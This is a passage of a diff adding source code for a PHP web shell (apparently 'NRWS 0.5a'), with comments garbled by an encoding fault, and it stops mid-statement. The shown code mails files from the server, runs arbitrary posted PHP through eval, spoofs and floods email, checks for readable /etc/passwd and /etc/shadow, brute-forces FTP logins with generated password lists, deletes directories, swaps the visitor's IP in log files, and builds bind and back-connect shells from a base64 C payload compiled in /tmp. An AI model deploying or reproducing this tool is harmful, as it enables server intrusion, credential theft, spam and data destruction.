multipart/mixed; boundary=\"$boundary\""; + + $info = "---==== ��������� �� ($demail)====---\n\n"; + $info .= "IP:\t$REMOTE_ADDR\n"; + $info .= "HOST:\t$HTTP_HOST\n"; + $info .= "URL:\t$HTTP_REFERER\n"; + $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n"; + $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; + + $send_to = "$demail"; + + $send = mail($send_to, $subject, $info, $headers); + + if($send == 2) + echo "<br> + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center> + <font color='#FFFFCC' face='Tahoma' size = 2>�������!!!���� <b>$file</b> ��������� ��� �� <u>$demail</u>.</font></center></td></tr></table><br>"; + +fclose($fp); +break; +// ������ �������� +case "ps": +echo "<b>�������� � �������:</b><br>"; + + echo "<br>"; + if ($pid) + { + if (!$sig) {$sig = 9;} + echo "����������� ������� ".$sig." to #".$pid."... "; + $ret = posix_kill($pid,$sig); + if ($ret) {echo "���, ������ ����, �����";} + else {echo "������! ".htmlspecialchars($sig).", � ������� #".htmlspecialchars($pid).".";} + } + $ret = `ps -aux`; + if (!$ret) {echo "���������� ���������� ������ �������� ! ����� ���� ����� �������� ps ";} + else + { + $ret = htmlspecialchars($ret); + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} + if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} + $k = $ps_aux_sort[0]; + if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."a\"></a>";} + else {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."d\"></a>";} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + $line[] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $head[] = "<b>ACTION</b>"; + $v = $ps_aux_sort[0]; + usort($prcs,"tabsort"); + if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=white borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $k) + { + echo "<tr>"; + foreach($k as $v) {echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +break; + +//PHP Eval Code execution +case "eval": + +echo <<<HTML +<b>���������� ��� ���� (��� "< ? ? >")</b> +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="eval"> +<tr> +<td><textarea name="ephp" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="Enter"></td> +$tend +HTML; + +if (isset($_POST['ephp'])){ +eval($_POST['ephp']); +} +break; + +// SEND MAIL +case "sendmail": +echo <<<HTML +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="sendmail"> +<tr>�� ����: <br> +<input type="TEXT" name="frommail"> +<br>����:<br> <input type="TEXT" name="tomailz"> +<br>����: <br><input type="TEXT" name="mailtema"> +<br>�����: <br> +<td><textarea name="mailtext" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="���������" name="submit"></td><form> +$tend +HTML; +// ������� �������� �� ��������, � ����� ? =) +if (isset($submit)) +{ + +mail($tomailz,$mailtema,$mailtext,"From: $frommail"); +echo "<h2>��������� ���������� !</h2>"; +} +break; + + +// ���������� � ������� +case "info": +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">��������</font>"; +} +else {$safemode = false; $hsafemode = "���������</font>";} +/* display information */ +echo "<b>[ ���������� � ������� ]</b><br>"; +echo "<b>����:</b> ".$_SERVER["HTTP_HOST"]."<br>" ; +echo "<b>IP �������:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>"; +echo " <b>������: </b>".$_SERVER['SERVER_SIGNATURE']." "; +echo "<b>OC:</b> ".exec("uname -a")."("; +print "".php_uname()." )<br>\n"; +echo "<b>Safe-Mode: ".$hsafemode."</b><br>"; +echo "<b>����������: </b>".exec("id")."<br>"; +echo "<b>����� �����: </b>" . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb. " . "<b>��������: </b>: " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb. <br>"; +echo "<b>������� �������:</b>".exec("pwd").""; +echo " <br><b>������� web ����: </b>".@$_SERVER['PHP_SELF']." "; +echo "<br><b>���� IP:</b> ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")<br>"; +echo "<b>PHP version : </b>".phpversion()."<BR>"; +echo "<b> ID ��������� ������� : </b>".get_current_user()."<BR>"; +echo "<b>MySQL</b> : ".mysql_get_server_info()."<BR>"; +if(file_exists('/etc/passwd') && is_readable('/etc/passwd')){ +print '<b>���� ������ � /etc/passwd ! </b><br>'; +} +if(file_exists('/etc/shadow') && is_readable('/etc/shadow')){ +print '<b>���� ������ � /etc/shadow !</b> <br>'; +} +if(file_exists('/etc/shadow-') && is_readable('/etc/shadow-')){ +print '<b>���� ������ � /etc/shadow- !</b> '; +} +if(file_exists('/etc/master.passwd') && is_readable('/etc/master.passwd')){ +print '<b>���� ������ � /etc/master.passwd ! </b><br>'; +} +if(isset($_POST['th']) && $_POST['th']!=''){ +chdir($_POST['th']); +}; +if(is_writable('/tmp/')){ +$fp=fopen('/tmp/qq8',"w+"); +fclose($fp); +print "/tmp - �������&nbsp;<br>\n"; +unlink('/tmp/qq8'); +} +else{ +print "<font color=red>/tmp - �� �������</font><br>"; +} +echo "<b>���������� �����: ".$hsafemode."</b><br>"; +if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + $num = $nixpasswd + $nixpwdperpage; + echo "<b>*nix /etc/passwd:</b><br>"; + $i = $nixpasswd; + while ($i < $num) + { + $uid = posix_getpwuid($i); + if ($uid) {echo join(":",$uid)."<br>";} + $i++; + } + } + else {echo "<br><a href=?ac=navigation&d=/etc/&e=passwd><b><u>Get /etc/passwd</u></b></a><br>";} + if (file_get_contents("/etc/userdomains")) {echo "<b><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/usr/local/apache/conf&e=httpd.conf><u><b>������������ Apache (httpd.conf)</b></u></a></b><br>";} + { echo "<b><a href=?ac=navigation&d=/etc/httpd/conf&e=httpd.conf><u><b>������������ Apache (httpd.conf)</b></u></a></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/etc/&e=httpd.conf><u><b>������������ Apache (httpd.conf)</b></u></a></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/var/cpanel&e=accounting.log><u><b>cpanel log </b></u></a></b><br>";} + break; + +// � ������� +case "about": + +echo "<center><b>������ ����</b></center>����� ���� ������ ������ ����� ������� ���������� �����������������.<b>(0.5a)</b> <br>������ ��������� � ������ ������������, ���, ��� ���� ������� �����-�� ����, ����������� ����:<br><a href='http://ru24-team.net/forum/'>http://ru24-team.net/forum/</a> ��� <a href=mailto:dreamerz@mail.ru>�� ���� dreamerz@mail.ru</a>, ��� �� <a href=http://dreamerz.cc>dreamerz.cc</a>, ��� �� ICQ: <b>817312</b><br>��� ����� ������������� � ���������� ������� - ������, ��������� ��� �� ������ �������� � ���������...<br>��, � ������� ���� �����: Terabyte, 1dt_wolf, xoce, FUF, dodbob, Nitrex ... � ������ ������ ..."; +echo "<br> � ��������� ���� ������ �� ����� �������� �� ��������� ����� :) ��� ��� ����������. "; + +echo "<br><br><br>����� ������ ����� �����: <a href=http://ru24-team.net/releases/nr.rar>http://ru24-team.net/releases/nr.rar</a> +<br><br><center><b>------------------------------->>> Ru24 - TEAM NRWS RELEASE 0.5.a [DreAmeRz] <<<-----------------------------------</b></center>"; +break; +// ��� ������ ������� +case "ftppass": + +$filename="/etc/passwd"; // passwd file +$ftp_server="localhost"; // FTP-server + +echo "FTP-server: <b>$ftp_server</b> <br><br>"; + +$fp = fopen ($filename, "r"); +if ($fp) +{ +while (!feof ($fp)) { +$buf = fgets($fp, 100); +ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); +$ftp_user_name=$g[1]; +$ftp_user_pass=$g[1]; +$conn_id=ftp_connect($ftp_server); +$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); + +if (($conn_id) && ($login_result)) { +echo "<b>����������� login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>"; +ftp_close($conn_id);} +else { +echo $ftp_user_name." - error<br>"; +} +}} +break; + +case "ftp": + +echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> + <form action='$PHP_SELF?ac=ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle> + <b><a href=?ac=ftppass>��������� �� ������ login\password</a></b> +</td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTPHost:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='host' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='login' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;����������� �������:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='chislo' size=10> <1000 pass </td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;������ ��� ��������:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='proverka' size=50> +<input type='submit' value='Brut FTP' class=button1 $style_button><br><b>��� ����������� � pass.txt</b></td></tr> + + + + </form></table>"; + + +function s() { + $word="qwrtypsdfghjklzxcvbnm"; + return $word[mt_rand(0,strlen($word)-1)]; +} + +function g() { + $word="euioam"; + return $word[mt_rand(0,strlen($word)-2)]; +} + +function name0() { return s().g().s(); } +function name1() { return s().g().s().g(); } +function name2() { return s().g().g().s(); } +function name3() { return s().s().g().s().g(); } +function name4() { return g().s().g().s().g(); } +function name5() { return g().g().s().g().s(); } +function name6() { return g().s().s().g().s(); } +function name7() { return s().g().g().s().g(); } +function name8() { return s().g().s().g().g(); } +function name9() { return s().g().s().g().s().g(); } +function name10() { return s().g().s().s().g().s().s(); } +function name11() { return s().g().s().s().g().s().s().g(); } + +$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005); +$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker'); + +function randword() { + global $cool; + $func="name".mt_rand(0,11); + $func2="name".mt_rand(0,11); + switch (mt_rand(0,11)) { + case 0: return $func().mt_rand(5,99); + case 1: return $func()."-".$func2(); + case 2: return $func().$cool[mt_rand(0,count($cool)-1)]; + case 3: return $func()."!".$func(); + case 4: return randpass(mt_rand(5,12)); + default: return $func(); + } + + +} + +function randpass($len) { + $word="qwertyuiopasdfghjklzxcvbnm1234567890"; + $s=""; + for ($i=0; $i<$len; $i++) { + $s.=$word[mt_rand(0,strlen($word)-1)]; + } + return $s; +} +if (@unlink("pass.txt") < 0){ +echo "���� ������"; +exit; +} +$file="pass.txt"; +if($file && $host && $login){ + $cn=mt_rand(30,30); +for ($i=0; $i<$cn; $i++) { + $s=$cool2[$i]; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$s\n"); + } + + $cnt2=mt_rand(43,43); +for ($i=0; $i<$cnt2; $i++) { + $r=$cool[$i]; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$login$r\n"); +} +$p="$proverka"; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$p\n"); + + $cnt3=mt_rand($chislo,$chislo); + for ($i=0; $i<$cnt3; $i++) { + $u=randword(); + $f=@fopen(pass.".txt","a+"); + fputs($f,"$u\n"); + } + + if(is_file($file)){ + $passwd=file($file,1000); + for($i=0; $i<count($passwd); $i++){ + $stop=false; + $password=trim($passwd[$i]); + $open_ftp=@fsockopen($host,21); + if($open_ftp!=false){ + fputs($open_ftp,"user $login\n"); + fputs($open_ftp,"pass $password\n"); + while(!feof($open_ftp) && $stop!=true){ + $text=fgets($open_ftp,4096); + if(preg_match("/230/",$text)){ + $stop=true; + $f=@fopen($host._ftp,"a+"); + fputs($f,"Enter on ftp:\nFTPhosting:\t$host\nLogin:\t$login\nPassword:\t$password\n "); + + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> +<tr><td align=center class=pagetitle><b><font color=\"blue\">����������!!! ������ ��������.</font></b><br> +&nbsp;&nbsp;������: <b>$host</b><br>&nbsp;&nbsp;�����: <b>$login</b><br>&nbsp;&nbsp;������: <b>$password</b></td></tr></table> +";exit; + } + elseif(preg_match("/530/",$text)){ + $stop=true; + + } + } + fclose($open_ftp); + }else{ + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> +<tr><td align=center class=pagetitle bgcolor=#FF0000><b>�� ����� ������� ��� ��������!!! �� <b><u>$host</u></b> ������ 21 ����</b></b></td></tr> +</table> +";exit; + } + } + } +} + + +break; +// SQL Attack +case "sql": + +break; + + + + + + +// MailFlud +case "mailfluder": + +$email=$_POST['email']; // ���� ������ +$from=$_POST['from']; // ���� ������ +$num=$_POST['num']; // ����� ����� +$text=$_POST['text']; // ����� ����� +$kb=$_POST['kb']; // ��� ������ (kb) +?> +<script language="JavaScript"><!-- +function reset_form() { +document.forms[0].elements[0].value=""; +document.forms[0].elements[1].value=""; +document.forms[0].elements[2].value=""; +document.forms[0].elements[3].value=""; +document.forms[0].elements[4].value=""; +} +//--></script> +<?php +if (($email!="" and isset($email)) and ($num!="" and isset($num)) and ($text!="" and isset($text)) and ($kb!="" and isset($kb))) { + +$num_text=strlen($text)+1; // ���������� ������ ������ + 1 (������ � �����) +$num_kb=(1024/$num_text)*$kb; +$num_kb=ceil($num_kb); + +for ($i=1; $i<=$num_kb; $i++) { +$msg=$msg.$text." "; +} + +for ($i=1; $i<=$num; $i++) { +mail($email, $text, $msg, "From: $from"); +} + +$all_kb=$num*$kb; + +echo <<<EOF +<p align="center">������: <b>$email</b><br> +���-�� �����: <b>$num</b><br> +����� ��������� �����: <b>$all_kb kb</b><br></p> +EOF; + +} + +else { + +echo <<<EOF +<form action="?ac=mailfluder" method="post"> +<table align="center" border="0" bordercolor="#000000"> +<tr><td>���� ������</td><td><input type="text" name="email" value="to@mail.com" size="25"></td></tr> +<tr><td>�� ����</td><td><input type="text" name="from" value="sypport@mail.com" size="25"></td></tr> +<tr><td>����� �����</td><td><input type="text" name="num" value="5" size="25"></td></tr> +<tr><td>����� �����</td><td><input type="text" name="text" value="fack fack fack" size="25"></td></tr> +<tr><td>��� ������ (kb)</td><td><input type="text" name="kb" value="10" size="25"></td></tr> +<tr><td colspan="2" align="center"><input type="submit">&nbsp;&nbsp;<input type="button" onclick="reset_form()" value="Reset"></td></tr> +</table> +</form> +EOF; + +} +break; + +case "tar": +# ��������� ���������� +$fullpath = $d."/".$tar; +/* ������ ��������� �������� ������ ���������*/ +$CHARS = "abcdefghijklmnopqrstuvwxyz"; +for ($i=0; $i<6; $i++) $charsname .= $CHARS[rand(0,strlen($CHARS)-1)]; + echo "<br> +������� <u><b>$fullpath</b></u> ".exec("tar -zc $fullpath -f $charsname.tar.gz")."�������� � ���� <u>$charsname.tar.gz</u>"; + + + +echo " + +<form action='?ac=tar' method='post'> +<tr><td align=center colspan=2 class=pagetitle><b>��������� <u>$name.tar.gz</u>:</b></td></tr> +<tr> +<td valign=top><input type=text name=archive size=90 class='inputbox'value='tar -zc /home/$name$http_public -f $name.tar.gz' ></td> +<td valign=top><input type=submit value='����'></td> +</tr></form>"; + +exec($archive); + +break; + + +// ��������� +case "navigation": + // ����� ��������� +$mymenu = " [<a href='$php_self?ac=navigation&d=$d&e=$e&delete=1'>�������</a>] [<a href='$php_self?ac=navigation&d=$d&ef=$e&edit=1'>�������������</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&clean=1'>��������</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&replace=1'>�������� �����</a>] [<a href='$php_self?ac=navigation&d=$d&download=$e'>���������</a>] [<a href='$php_self?ac=navigation&d=$d&infofile=$e'>����������</a>]<br>"; + +$images=array(".gif",".jpg",".png",".bmp",".jpeg"); +$whereme=getcwd(); +@$d=@$_GET['d']; +$copyr = "<center>"; +$php_self=@$_SERVER['PHP_SELF']; +if(@eregi("/",$whereme)){$os="unix";} +if(!isset($d)){$d=$whereme;} +$d=str_replace("\\","/",$d); + + + +$expl=explode("/",$d); +$coun=count($expl); +if($os=="unix"){echo "<a href='$php_self?ac=navigation&d=/'>/</a>";} +else{ + echo "<a href='$php_self?ac=navigation&d=$expl[0]'>$expl[0]/</a>";} +for($i=1; $i<$coun; $i++){ + @$xx.=$expl[$i]."/"; +$sls="<a href='$php_self?ac=navigation&d=$expl[0]/$xx'>$expl[$i]</a>/"; +$sls=str_replace("//","/",$sls); +$sls=str_replace("/'></a>/","/'></a>",$sls); +print $sls; +} +echo "</td></tr>"; +echo "<br><td><b>id:</b> ".@exec('id')."</td></tr"; + + +if(@$_GET['deldir']=="1"){ + +@$dir=$_GET['d']; +function deldir($d) +{ +$handle = @opendir($d); +while (false!==($ff = @readdir($handle))){ +if($ff != "." && $ff != ".."){ +if(@is_dir("$d/$ff")){ +deldir("$d/$ff"); +}else{ +@unlink("$d/$ff"); +}}} +@closedir($handle); +if(@rmdir($d)){ +@$success = true;} +return @$success; +} +$dir=@$d; +deldir($d); + +$rback=$_GET['rback']; +@$rback=explode("/",$rback); +$crb=count($rback); +for($i=0; $i<$crb-1; $i++){ + @$x.=$rback[$i]."/"; +} +echo "<br><b>������� ������ !</b>"; +echo $copyr; +exit;} +if(@$_GET['replace']=="1"){ +$ip=@$_SERVER['REMOTE_ADDR']; +$d=$_GET['d']; +$e=$_GET['e']; +@$de=$d."/".$e; +$de=str_replace("//","/",$de); +$e=@$e; +echo $mymenu ; +echo " +�������� ������:<br> +(�� ����� �������� ����� �����)<br> +����: $de<br> +<form method=post> +1. ���� IP.<br> +2. microsoft.com IP :)<br> +�������� ��� <input name=this size=30 value=$ip> ���� <input name=bythis size=30 value=207.46.245.156> +<input type=submit name=doit value=��������> +</form> +"; + +if(@$_POST['doit']){ + +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$rpl = @fread ($fd, @filesize ($filename)); +$re=str_replace("$this","$bythis",$rpl); +$x=@fopen("$d/$e","w"); +@fwrite($x,"$re"); +echo "<br><center>$this �������� �� $bythis<br> +[<a href='$php_self?ac=navigation&d=$d&e=$e'>���������� ����</a>]<br><br><Br>"; + +} +echo $copyr; +exit;} + + + + +if(@$_GET['yes']=="yes"){ +$d=@$_GET['d']; $e=@$_GET['e']; +unlink($d."/".$e); +$delresult="������ $d/$e �� ����� ! <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?ac=navigation&d=$d\">"; +} +if(@$_GET['clean']=="1"){ +@$e=$_GET['e']; +$x=fopen("$d/$e","w"); +fwrite($x,""); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=".@$e."\">"; +exit; +} + + +if(@$_GET['e']){ +$d=@$_GET['d']; +$e=@$_GET['e']; +$pinf=pathinfo($e); +if(in_array(".".@$pinf['extension'],$images)){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e&img=1\">"; +exit;} +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$e; +$de=str_replace("//","/",$de); +if(is_file($de)){ +if(!is_writable($de)){echo "<font color=red><br><b>������ ������</b></font><br>";}} +echo $mymenu ; +echo " +���������� �����:<br> +$de +<br> +<table width=100% border=1 cellpadding=0 cellspacing=0> +<tr><td><pre> +$c + +</pre></td></tr> +</table>"; +if(@$_GET['delete']=="1"){ +$delete=$_GET['delete']; +echo " +��������: �� ������ ?<br> +<a href=\"$php_self?ac=navigation&d=$d&e=$e&delete=".@$delete."&yes=yes\">��</a> || <a href='$php_self?no=1'>���</a> +<br> +"; +if(@$_GET['yes']=="yes"){ +@$d=$_GET['d']; @$e=$_GET['e']; +echo $delresult; +} +if(@$_GET['no']){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e\"> +"; +} + + +} #end of delete +echo $copyr; +exit; +} #end of e + +if(@$_GET['edit']=="1"){ +@$d=$_GET['d']; +@$ef=$_GET['ef']; +if(is_file($d."/".$ef)){ +if(!is_writable($d."/".$ef)){echo "<font color=red><br><b>������ ������</b></font><br>";}} +echo $mymenu ; +$filename="$d/$ef"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$ef; +$de=str_replace("//","/",$de); +echo " +��������������:<br> +$de<br> +<form method=post> +<input type=HIDDEN name=filename value='$d/$ef'> +<textarea cols=143 rows=30 name=editf>$c</textarea> +<br> +<input type=submit name=save value='��������� �������'></form><br> + +"; +if(@$_POST['save']){ +$editf=@$_POST['editf']; +$editf=stripslashes($editf); +$f=fopen($filename,"w+"); +fwrite($f,"$editf"); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$ef\">"; +exit; +} + +exit; +} + + + +echo" +<table width=100% cellpadding=1 cellspacing=0 class=hack> +<a href='?ac=tar&d=$d' title='��������� ���������� ������ ��� ������� ���� ������ � ������� !'><b>[��������� ��������] </b></a> +<a href='?ac=tar&as=mail&d=$d' title='���������� ��������� �������� + �������� ������ �� ��� e-mail ! �-��� �� �������� � 0.5� ������!'><b>[��������� �������� + �������� �� �-mail] </b></a> +<a href='?ac=navigation&d=$d&deldir=1' title='������ �������� �������� !\n ���������� ������������� ���� ����� �� ����� :)'><b>[�������� ��������] </b></a> +<tr><td bgcolor=#4d9ef0><center><b>��������</b></td><td bgcolor=#4d9ef0><b>������</b></td><td bgcolor=#4d9ef0><b>������</b></td></tr> +"; +$dirs=array(); +$files=array(); +$dh = @opendir($d) or die("<table width=100%><tr><td><center>������� �� ���������� ��� ������ � ���� �������� !</center><br>$copyr</td></tr></table>"); +while (!(($file = readdir($dh)) === false)) { +if ($file=="." || $file=="..") continue; +if (@is_dir("$d/$file")) { + $dirs[]=$file; +}else{ + $files[]=$file; + } + sort($dirs); + sort($files); + +$fz=@filesize("$d/$file"); +} + +function perm($perms){ +if (($perms & 0xC000) == 0xC000) { + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + $info = 'p'; +} else { + $info = 'u'; +} +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); +return $info; +} +for ($i=0;$i<sizeof($dirs);$i++) { + if ($dirs[$i] != "..") { + + +if(is_writable($dirs[$i])){$info="<font color=green><li>&nbsp;W</font>";} +else{$info="<font color=red><li>&nbsp;R</font>";} +$perms = @fileperms($d."/".$dirs[$i]); +$owner = @fileowner($d."/".$dirs[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$dirs[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#aed7ff";}else{$color="#68adf2";} +$linkd="<a href='$php_self?ac=navigation&d=$d/$dirs[$i]'>$dirs[$i]</a>"; +$linkd=str_replace("//","/",$linkd); +echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color>$info</td></tr>"; +} +} +for ($i=0;$i<sizeof($files);$i++) { +if(is_writable($files[$i])){$info="<font color=green><li>&nbsp;W</font>";} +else{$info="<font color=red><li>&nbsp;R</font>";} +$size=@filesize($d."/".$files[$i]); +$perms = @fileperms($d."/".$files[$i]); +$owner = @fileowner($d."/".$files[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$files[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$prava=perm($perms); +if($i%2){$color="#ccccff";}else{$color="#b0b0ff";} + +if ($size < 1024){$siz=$size.' b'; +}else{ +if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{ +if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{ +if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';} +}}} +echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?ac=navigation&d=$d&e=$files[$i]'title='������ $prava. �������� $owner/$group'>$files[$i]</a></td><td bgcolor=$color>$siz</td><td bgcolor=$color>$prava</td></tr>"; +} + +echo "</table></td></tr></table>"; +break; +// ��������� ������� +case "backconnect": +echo "<b>��������� ������� / �������� �����</b>"; +echo "<form name=bind method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>������� ���� </b>"; +echo "<input type=text name=port size=15 value=11457>&nbsp;"; +echo "<b>������ ��� ������� </b>"; +echo "<input type=text name=bind_pass size=15 value=nrws>&nbsp;"; +echo "<b>������������ </b>"; +echo "<select size=\"1\" name=\"use\">"; +echo "<option value=\"Perl\">Perl</option>"; +echo "<option value=\"C\">C</option>"; +echo "</select>&nbsp;"; +echo "<input type=hidden name=dir value=".$dir.">"; +echo "<input type=submit name=submit value=�������>"; +echo "</font>"; +echo "</form>"; + +echo "<b>��������� ������� / ����������</b>"; +echo "<form name=back method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>IP-����� </b>"; +echo "<input type=text name=ip size=15 value=127.0.0.1>&nbsp;"; +echo "<b>���� </b>"; +echo "<input type=text name=port size=15 value=31337>&nbsp;"; +echo "<b>������������ </b>"; +echo "<select size=\"1\" name=\"use\">"; +echo "<option value=\"Perl\">Perl</option>"; +echo "<option value=\"C\">C</option>"; +echo "</select>&nbsp;"; +echo "<input type=hidden name=dir value=".$dir.">"; +echo "<input type=submit name=submit value=���������>"; +echo "</font>"; +echo "</form>"; + + +/* port bind C */ +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + $w_file=fopen("/tmp/bd.c","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>Error! Can't write in /tmp/bd.c</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($port_bind_bd_c)); + fclose($w_file); + $blah=exec("gcc -o /tmp/bd /tmp/bd.c"); + unlink("/tmp/bd.c"); + $bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"; + $blah=exec($bind_string); + $_POST['cmd']="ps -aux | grep bd"; + $err=0; + } +} + +/* port bind Perl */ +if 